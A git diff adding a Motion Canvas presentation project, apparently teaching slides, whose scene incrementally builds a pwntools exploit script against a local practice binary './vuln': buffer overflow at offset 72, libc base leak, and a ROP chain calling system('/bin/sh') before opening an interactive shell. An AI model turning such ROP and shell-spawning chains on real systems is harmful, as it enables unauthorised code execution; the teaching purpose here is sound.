{node: '>=8.6'} + dependencies: + braces: 3.0.2 + picomatch: 2.3.1 + + /mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + /mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + dependencies: + mime-db: 1.52.0 + + /mj-context-menu@0.6.1: + resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==} + dev: false + + /nanoid@3.3.7: + resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + /parse-svg-path@0.1.2: + resolution: {integrity: sha512-JyPSBnkTJ0AI8GGJLfMXvKq42cj5c006fnLz6fXy6zfoVjJizi8BNTpu8on8ziI1cKy9d9DGNuY17Ce7wuejpQ==} + dev: false + + /picocolors@1.0.0: + resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==} + + /picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + /postcss@8.4.35: + resolution: {integrity: sha512-u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA==} + engines: {node: ^10 || ^12 || >=14} + dependencies: + nanoid: 3.3.7 + picocolors: 1.0.0 + source-map-js: 1.0.2 + + /preact@10.19.4: + resolution: {integrity: sha512-dwaX5jAh0Ga8uENBX1hSOujmKWgx9RtL80KaKUFLc6jb4vCEAc3EeZ0rnQO/FO4VgjfPMfoLFWnNG8bHuZ9VLw==} + dev: true + + /queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + /reusify@1.0.4: + resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + /rollup@3.29.4: + resolution: {integrity: sha512-oWzmBZwvYrU0iJHtDmhsm662rC15FRXmcjCk1xD771dFDx5jJ02ufAQQTn0etB2emNk4J9EZg/yWKpsn9BWGRw==} + engines: {node: '>=14.18.0', npm: '>=8.0.0'} + hasBin: true + optionalDependencies: + fsevents: 2.3.3 + + /run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + dependencies: + queue-microtask: 1.2.3 + + /source-map-js@1.0.2: + resolution: {integrity: sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==} + engines: {node: '>=0.10.0'} + + /source-map@0.6.1: + resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} + engines: {node: '>=0.10.0'} + + /speech-rule-engine@4.0.7: + resolution: {integrity: sha512-sJrL3/wHzNwJRLBdf6CjJWIlxC04iYKkyXvYSVsWVOiC2DSkHmxsqOhEeMsBA9XK+CHuNcsdkbFDnoUfAsmp9g==} + hasBin: true + dependencies: + commander: 9.2.0 + wicked-good-xpath: 1.3.0 + xmldom-sre: 0.1.31 + dev: false + + /to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + dependencies: + is-number: 7.0.0 + + /typescript@5.3.3: + resolution: {integrity: sha512-pXWcraxM0uxAS+tN0AG/BF2TyqmHO014Z070UsJ+pFvYuRSq8KH8DmWpnbXe0pEPDHXZV3FcAbJkijJ5oNEnWw==} + engines: {node: '>=14.17'} + hasBin: true + dev: true + + /vite@4.5.2: + resolution: {integrity: sha512-tBCZBNSBbHQkaGyhGCDUGqeo2ph8Fstyp6FMSvTtsXeZSPpSMGlviAOav2hxVTqFcx8Hj/twtWKsMJXNY0xI8w==} + engines: {node: ^14.18.0 || >=16.0.0} + hasBin: true + peerDependencies: + '@types/node': '>= 14' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + stylus: '*' + sugarss: '*' + terser: ^5.4.0 + peerDependenciesMeta: + '@types/node': + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + dependencies: + esbuild: 0.18.20 + postcss: 8.4.35 + rollup: 3.29.4 + optionalDependencies: + fsevents: 2.3.3 + + /vscode-oniguruma@1.7.0: + resolution: {integrity: sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==} + dev: false + + /vscode-textmate@9.0.0: + resolution: {integrity: sha512-Cl65diFGxz7gpwbav10HqiY/eVYTO1sjQpmRmV991Bj7wAoOAjGQ97PpQcXorDE2Uc4hnGWLY17xme+5t6MlSg==} + dev: false + + /which@1.3.1: + resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} + hasBin: true + dependencies: + isexe: 2.0.0 + dev: false + + /wicked-good-xpath@1.3.0: + resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==} + dev: false + + /xmldom-sre@0.1.31: + resolution: {integrity: sha512-f9s+fUkX04BxQf+7mMWAp5zk61pciie+fFLC9hX9UVvCeJQfNHRHXpeo5MPcR0EUf57PYLdt+ZO4f3Ipk2oZUw==} + engines: {node: '>=0.1'} + dev: false diff --git a/pwntools/src/motion-canvas.d.ts b/pwntools/src/motion-canvas.d.ts new file mode 100644 index 0000000..067c6a4 --- /dev/null +++ b/pwntools/src/motion-canvas.d.ts @@ -0,0 +1 @@ +/// diff --git a/pwntools/src/project.meta b/pwntools/src/project.meta new file mode 100644 index 0000000..5ebc5fc --- /dev/null +++ b/pwntools/src/project.meta @@ -0,0 +1,31 @@ +{ + "version": 0, + "shared": { + "background": "rgb(40,44,52)", + "range": [ + 0, + null + ], + "size": { + "x": 1920, + "y": 1080 + }, + "audioOffset": 0 + }, + "preview": { + "fps": 30, + "resolutionScale": 1 + }, + "rendering": { + "fps": 60, + "resolutionScale": 1, + "colorSpace": "srgb", + "exporter": { + "name": "@motion-canvas/ffmpeg", + "options": { + "fastStart": true, + "includeAudio": true + } + } + } +} \ No newline at end of file diff --git a/pwntools/src/project.ts b/pwntools/src/project.ts new file mode 100644 index 0000000..9a3b4f9 --- /dev/null +++ b/pwntools/src/project.ts @@ -0,0 +1,7 @@ +import {makeProject} from '@motion-canvas/core'; + +import main from './scenes/main?scene'; + +export default makeProject({ + scenes: [main], +}); diff --git a/pwntools/src/scenes/main.meta b/pwntools/src/scenes/main.meta new file mode 100644 index 0000000..df67094 --- /dev/null +++ b/pwntools/src/scenes/main.meta @@ -0,0 +1,5 @@ +{ + "version": 0, + "timeEvents": [], + "seed": 1375324693 +} \ No newline at end of file diff --git a/pwntools/src/scenes/main.tsx b/pwntools/src/scenes/main.tsx new file mode 100644 index 0000000..28115d6 --- /dev/null +++ b/pwntools/src/scenes/main.tsx @@ -0,0 +1,282 @@ +import {Circle, Layout, Ray, Rect, Txt, makeScene2D} from '@motion-canvas/2d'; +import { CodeBlock, lines } from '@motion-canvas/2d/lib/components/CodeBlock'; +import {Reference, all, beginSlide, createRef, createSignal} from '@motion-canvas/core'; + +const BACKGROUND = '#282C34'; +const RED = '#E06C75'; +const GREEN = '#98C379'; +const YELLOW = '#E5C07B'; +const BLUE = '#61AFEF'; +const MAGENTA = '#C678DD'; +const CYAN = '#56B6C2'; +const GRAY = '#ABB2BF'; +const WHITE = '#FFFFFF'; +const BLACK = '#000000'; + +export default makeScene2D(function* (view) { + let cref = createRef(); + yield view.add( + ); + yield* beginSlide("first"); + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně`); + yield* cref().fontSize(30, .1); + yield* beginSlide("setup"); + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") +`); + yield* cref().fontSize(24, .1); + + yield* beginSlide("setup2"); + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") +`); + + yield* beginSlide("setup3"); + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") +`); + + yield* beginSlide("io.sendline") + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") + +io.recvuntil(b"code: ") +line = io.recvline() +code = int(line.strip(), 16) +`); + + yield* beginSlide("code") + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") + +io.recvuntil(b"code: ") +line = io.recvline() +code = int(line.strip(), 16) + +io.sendline(flat({ + 0x8: 1, + 72: code, +})) +`); + + yield* beginSlide("flat") + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") + +io.recvuntil(b"code: ") +line = io.recvline() +code = int(line.strip(), 16) + +io.sendline(flat({ + 0x8: 1, + 72: code, +})) + +offset = int(io.recvline(), 16) +libc.address = offset +`); + + yield* beginSlide("offset") + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") + +io.recvuntil(b"code: ") +line = io.recvline() +code = int(line.strip(), 16) + +io.sendline(flat({ + 0x8: 1, + 72: code, +})) + +offset = int(io.recvline(), 16) +libc.address = offset + +rop = ROP(libc, badchars=b'\\n') +rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))]) +rop.call(libc.sym["exit"], [0]) +`); + + yield* beginSlide("rop") + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") + +io.recvuntil(b"code: ") +line = io.recvline() +code = int(line.strip(), 16) + +io.sendline(flat({ + 0x8: 1, + 72: code, +})) + +offset = int(io.recvline(), 16) +libc.address = offset + +rop = ROP(libc, badchars=b'\\n') +rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))]) +rop.call(libc.sym["exit"], [0]) + +io.sendline(rop.chain()) +`); + + yield* beginSlide("send rop") + + + cref().code(`from pwm import * + +context.arch = "amd64" +context.terminal = ["tmux", "splitw", "-h"] +# nebo "kitty" a podobně + +io = process(["./vuln"]) +#io = remote("host", port) +#io = gdb.debug("./vuln") + +bin = ELF("./vuln") +libc = ELF("./libc.so.6") + +io.recvuntil(b"Input: ") +io.sendline(b"Hello, world!") + +io.recvuntil(b"code: ") +line = io.recvline() +code = int(line.strip(), 16) + +io.sendline(flat({ + 0x8: 1, + 72: code, +})) + +offset = int(io.recvline(), 16) +libc.address = offset + +rop = ROP(libc, badchars=b'\\n') +rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))]) +rop.call(libc.sym["exit"], [0]) + +io.sendline(rop.chain()) + +io.interactive() +`); + + yield* beginSlide("interactive") +}); diff --git a/pwntools/tsconfig.json b/pwntools/tsconfig.json new file mode 100644 index 0000000..e7d5347 --- /dev/null +++ b/pwntools/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "@motion-canvas/2d/tsconfig.project.json", + "include": ["src"] +} diff --git a/pwntools/vite.config.ts b/pwntools/vite.config.ts new file mode 100644 index 0000000..42d9d68 --- /dev/null +++ b/pwntools/vite.config.ts @@ -0,0 +1,10 @@ +import {defineConfig} from 'vite'; +import motionCanvas from '@motion-canvas/vite-plugin'; +import ffmpeg from '@motion-canvas/ffmpeg'; + +export default defineConfig({ + plugins: [ + motionCanvas(), + ffmpeg(), + ], +});